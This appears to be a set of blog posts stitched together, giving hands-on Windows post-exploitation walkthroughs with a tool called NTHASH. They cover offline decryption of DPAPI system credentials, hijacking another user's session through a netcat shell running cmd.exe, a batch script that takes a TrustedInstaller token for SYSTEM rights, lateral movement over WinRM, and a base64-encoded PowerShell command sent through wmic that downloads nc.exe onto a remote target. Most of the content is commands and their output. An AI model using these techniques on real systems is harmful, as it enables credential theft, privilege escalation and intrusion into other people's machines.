Erwan's Blog

In previous article, we have decrypted user blob/credentials.
This time lets decrypt system credentials.

5 steps:
-look at the encrypted blob/credential
-look at the encrypted masterkey
-retrieve dpapi system key used
-decrypt the encrypted masterkey
-decrypt the encrypted blob/credential
-conclusion

1/look at the encrypted blob/credential

System credentials are located here:
C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials

nthash-win64 /decodeblob
/binary:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D

->note the dwFlags:20000000 = system

2/look at the encrypted masterkey

Masterkeys are located here:
C:\Windows\System32\Microsoft\Protect

NTHASH-win64.exe /decodemk
/binary:C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\085027a7-b332-4d46-b9d1-743b668d378d

3/retrieve dpapi system key used

Because we are dealing with system blobs/credentials, and because « system » is not a user, we wont be fetching the sha1 password.
Rather, we will be using the dpapi system key to decrypt the masterkey.
Because we do this offline, you need the security.sav hive in the same folder as nthash.

NTHASH-win64.exe /dumpsecret /input:dpapi_system /offline
NTHASH 1.7 x64 by erwan2212@gmail.com
Offline=true
Full:XX3CA961B1DCEB7DF0XXB359D981C1A3EB1D472FXX398A7D34786F8D5FXX52F318A4EDFFAF0
2F7XX
Machine:XX3CA961B1DCEB7DF0XXB359D981C1A3EB1D472F
User:xx398A7D34786F8D5FXX52F318A4EDFFAF02F7XX

4/decrypt the encrypted masterkey

NTHASH-win64.exe /decodemk
/binary:C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\085027a7-b332-4d46-b9d1-743b668d378d
/input:8B398A7D34786F8D5FXX52F318A4EDFFAF02F7XX
**** Unprotecting MasterKey ****
KEY:4136467C1A3CC9C4BB0495BF639ED57269D10E47A333D6C8E21855E39B697FA1DAEB27EE2B80
0CD79362676D5AB79073EC642ADA0FB4E732B82E817812E75C26
SHA1:XX9042755B4CA2XX55FFB1F41CEDE6CD17116FXX

5/decrypt the encrypted blob/credential

nthash-win64 /decodeblob
/binary:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D /input:XX9042755B4CA2XX55FFB1F41CEDE6CD17116FXX
**** Decoding Cred Blob ****
credFlags:48
credSize:3170
Type:1
Flags:0
LastWritten:31/10/2019 16:56:52
TargetName:WindowsLive:target=virtualapp/didlogical
unkdata:
comment:PersistedCredential
targetalias:
username:somerandomuser
CredentialBlob:somerandomblob

6/Conclusion?

Retrieving the dpapi system is even more trivial compared to retrieving the user password (cleartext or sha1) as it is stored in the registry.
All you need is the blob, the associated masterkey and the dpapi system key stored in the registry.

In previous articles about lateral movement, we have mostly used « live » scenarios where we would either run as the victim user or we would dump secrets from (lsass) memory.

This time, lets look at dpapi secrets in « offline » scenarios.

About DPAPI, see wikipedia.

DPAPI (Data Protection Application Programming Interface) is a simple cryptographic application programming interface available as a built-in component in Windows 2000 and later versions of Microsoft Windows operating systems. In theory the Data Protection API can enable symmetric encryption of any kind of data; in practice, its primary use in the Windows operating system is to perform symmetric encryption of asymmetric private keys, using a user or system secret as a significant contribution of entropy.

DPAPI secrets are made of :
-a blob containing encrypted data, linked to a masterkey (used to decrypt the blob)
-a masterkey containing one (or several) encrypted key(s)

To decrypt a masterkey (and therefore a blob), you need the below:
-non-domain context: SID AND user password (when the masterkey was created) SHA1 hash
-domain context: SID AND user password (when the masterkey was created) NTLM hash
-local computer: DPAPI_SYSTEM secret (COMPUTER or USER part)

In the next 3 (+1) articles, we will see how to decrypt dpapi secrets.

Before doing so, I recommend reading this article.

Also, most part of the knowledge and coding is greatly (understatement here) inspired by the excellent work (another understatement) from Gentilwiki and Mimikatz.

In previous article we have (ab)used windows tokens to steal someone else account.

Lets see a different way to perform this task (ab)using terminal services.

1.Retrieve the session id of your victim with qwinsta

2.Open a shell (within the attacker session) to which your victim will connect to : nc -L -vv -p 9000

3.Spawn a process within your victim session which will connect back to your shell : NTHASH-win64.exe /runts /user:session_id /binary:nc 127.0.0.1 9000 -e cmd.exe

And again, enjoy the output of your whoami.

Note that you need special privileges (SeTcbPrivilege) to perform step 3 – my preference goes to using a « trustedinstaller » session (but many other context will do like winlogon, etc).

If need be, the below batch will create a new shell with proper privileges to perform step 3 above.

@echo off
net start trustedinstaller
for /F "tokens=1" %%K in (' nthash-win64 /enumproc ^| findstr /i "trustedinstaller" ') do ( nthash-win64 /runastoken /pid:%%K /system )


Last one on the « pass the hash » series.
Initially we used a remote RDP console.
We then demonstrated netcat reverse shell.
What if we dont have RDP or cant/dont want to use netcat to the remote target?

WinRM to the rescue !

1.Ensure WinRM is set on the attacker host : winrm quickconfig

2.Add trusted hosts * (or filter to an ip) on attacker host : powershell « Set-Item WSMan:\localhost\Client\TrustedHosts -Value « * » -Force »

3.Enable psremoting on the remote target host (use wmic / see previous article) : powershell.exe « enable-psremoting -force »

4.Add trusted hosts * (or filter to an ip) on attacker host : powershell « Set-Item WSMan:\localhost\Client\TrustedHosts -Value « * » -Force » (use wmic / see previous article)

5.Enjoy a remote shell under powershell (from the attacker host) : Enter-PSSession -ComputerName target

lets again introduce a variant of previous article.

Ideally we would be using the windows built in wmic command rather that the nthash runwmi verb.

Unfortunately, wmic can be a pita with escaping characters in some situations, especially when combining with powershell.

The below for instance wont work because of the ‘,’ comma character.

wmic /node:target process call create « powershell.exe -c (New-Object System.Net.WebClient).DownloadFile(‘https://erwan.labalec.fr/uploads/nc.exe’,’c:\temp\nc.exe’) »

The trick/workaround is to base64encode (unicode) the powershell command.

NTHASH-win64.exe /base64encodew /input:(New-Object System.Net.WebClient).DownloadFile(‘http:%2f%2ferwan.labalec.fr%2fuploads%2fnc.exe’,’c:\temp\nc.exe’);

Which will give you the following :

KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQ
BiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBlAHIAdwBhAG4ALgBsAGEAYgBhAGwAZQBjAC4AZgByAC8AdQBwAGwAbwBhAGQAcwAvAG4AYwAuAGUAeABlACcALAAnAGMAOgBcAHQAZQBtAHAAXABuAGMALgBlAHgAZQAnACkAOwA=

You can then execute a powershell command on a remote target using wmic like below :

wmic /node:target process call create « powershell.exe -encodedcommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBlAHIAdwBhAG4ALgBsAGEAYgBhAGwAZQBjAC4AZgByAC8AdQBwAGwAbwBhAGQAcwAvAG4AYwAuAGUAeABlACcALAAnAGMAOgBcAHQAZQBtAHAAXABuAGMALgBlAHgAZQAnACkAOwA= »